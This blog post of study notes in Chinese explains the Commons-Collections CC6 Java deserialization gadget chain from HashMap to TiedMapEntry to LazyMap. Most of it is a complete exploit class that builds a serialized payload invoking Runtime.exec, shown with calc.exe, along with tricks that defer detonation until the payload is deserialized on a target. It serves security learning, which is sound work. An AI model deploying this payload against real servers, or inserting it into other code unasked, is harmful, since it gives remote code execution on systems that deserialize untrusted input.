Java安全漫谈学习笔记6-CC6链

之前学cc1的时候我们就了解到cc1对Java版本是有要求的,Java版本低于8u71才行。因为在8u71之后AnnotationInvocationHandler#readObject的逻辑变了,我们就要找一个新的地方,一个能触发LazyMap的get方法的地方。

经过寻找,也是在TiedMapEntry中找到了,TiedMapEntry的代码大概如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 它的构造函数,把一个 Map 和一个 Key 绑在一起
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}

// 它的 getValue 竟然直接调用了 map.get()!
public Object getValue() {
return this.map.get(this.key);
}

// 它的 hashCode 竟然调用了 getValue()!
public int hashCode() {
Object value = this.getValue();
return ...
}

而在ysoserial中,是利⽤ java.util.HashSet#readObjectHashMap#put()HashMap#hash(key)最后到 TiedMapEntry#hashCode()

实际上在HashMap的readobject中就有hash的调用

而hash中又调用了hashCode,所以只要hash中的key为TiedMapEntry对象即可

利用链这不就来了:

HashMap.readObject() -> hash(key) -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get() -> 爆炸

但是这里为了防止本地电脑在生成payload的时候在自己电脑爆炸,p神用了2个技巧,先看整体payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void main(String[] args) throws Exception {
// 1. 准备“空包弹” (本地测试用)
Transformer[] fakeTransformers = new Transformer[]{ new ConstantTransformer(1) };

// 2. 准备“实弹” (发给服务器用的)
Transformer[] realTransformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};

// 先用空包弹装填流水线
ChainedTransformer chain = new ChainedTransformer(fakeTransformers);

// 3. 构造 LazyMap (包裹空包弹)
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chain);

// 4. 构造 TiedMapEntry (这是 CC6 的核心桥梁)
// 把 LazyMap 绑定给 TiedMapEntry
TiedMapEntry tme = new TiedMapEntry(outerMap, "x");

// 5. 触发源:HashMap
Map expMap = new HashMap();
// 这里 put 进去的时候,本地会计算 hash,触发 TiedMapEntry -> LazyMap.get("keykey")
// 因为是空包弹,所以本地安全通过。
expMap.put(tme, "value");
//这里的put是为了把TiedMapEntry作为key放到expMap(HashMap)里去,这样反序列化的时候,重新计算hash
//然后就会触发TiedMapEntry.hashCode()
//然后在这个hashCode里面触发lazymap的get,因为这个TiedMapEntry里面,绑定了我们的lazymap

// 6. 排雷:删除 LazyMap 里的缓存!
// 因为刚刚 put 的时候触发了 get,LazyMap 里已经记住了 "keykey"
// 必须清掉,否则反序列化时对方不会再次触发
outerMap.remove("x");

// 7. 偷梁换柱:把空包弹换成实弹!
// 1. 找到 ChainedTransformer 这个类里,专门用来装 Transformer 数组的那个私有变量,它的名字叫 "iTransformers"
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");

// 2. 因为 "iTransformers" 是私有变量 (private),正常不允许修改。
// 我们用这行代码暴力砸开权限锁。
f.setAccessible(true);

// 3. 把我们之前创建的 chain (它目前装的是空包弹 fakeTransformers) 里面的数组,
// 强行替换成 realTransformers (真正包含 Runtime.exec("calc") 的实弹)
f.set(chain, realTransformers);

// ================= 生成序列化流并模拟反序列化 =================
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

System.out.println("[-] Payload 构建完成,开始反序列化攻击...");
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject(); // 此时弹出计算器!
}
}
  • 当执行expMap.put的时候,本地hashmap存这个数据就会计算tme的hash,然后就会触发,所以我们要先放入一个假弹,等put执行完,再把真弹放进去
  • 在本地假弹put的时候,lazymap里面已经有了keykey的缓存,如果直接发给服务器,服务器看到有这个缓存,是不会去触发的,所以本地put之后要把keykey给删掉,这样服务器才会觉得这是一个新值,然后去重新计算hash

Java安全漫谈学习笔记6-CC6链
https://rightevil.github.io/Java安全漫谈学习笔记6-CC6链/
作者
rightevil
发布于
2026年5月4日
许可协议